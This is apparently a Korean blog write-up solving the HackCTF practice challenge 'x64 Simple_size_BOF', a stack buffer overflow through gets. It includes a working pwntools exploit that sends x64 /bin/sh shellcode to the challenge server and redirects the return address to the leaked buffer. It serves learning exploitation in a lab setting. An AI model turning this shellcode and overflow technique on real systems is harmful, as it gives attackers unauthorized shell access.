[HackCTF] x64 Simple_size_BOF
System/PWNABLE

[HackCTF] x64 Simple_size_BOF

728x90

check

- 64bit

- Partial RELRO

- 보호기법이 (RELRO빼고) 적용되어 있지않다

Analyze

pseudo code

- 스택 버퍼 v4는 rbp로부터 0x6d30 byte 떨어진 곳에 위치한다. 스택 버퍼 v4의 주소를 출력하고 gets 함수를 통해 입력받는다 >> 버퍼 오버플로우가 발생할 수 있다.

실행

Exploit

우선 buf의 주소를 출력해주니까 이를 잘 읽어내야한다!

LOB 문제 풀 때처럼 쉘코드를 버퍼에 넣고 BUF[0x6d30]+SFP[8] - len(쉘코드) 만큼 dummy값을 채워줘 버퍼 오버플로우를 일으키고 RET주소로 buf의 주소값을 전달해 버퍼에 저장한 쉘코드를 실행시키도록 한다.

from pwn import *
#context.log_level = 'debug'
#p = process("./Simple_size_bof")
p = remote("ctf.j0n9hyun.xyz", 3005)

p.recvuntil("buf: ")
buf = int(p.recvuntil("\n"),16)
log.info(hex(buf))

sh = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

pl = sh
pl += "\x90"*(27952 - len(sh) + 8)
pl += p64(buf)

p.sendline(pl)
p.interactive()

- 64bit환경에서 쓰이는 쉘코드는 다르기 때문에 주의해야한다!

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] BASIC_FSB  (0) 2021.02.10
[HackCTF] Simple_Overflow_ver_2  (0) 2021.02.09
[HackCTF] x64 Buffer Overflow  (2) 2021.02.05
[LOB] orc → wolfman  (0) 2021.02.05
[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1)  (2) 2021.02.04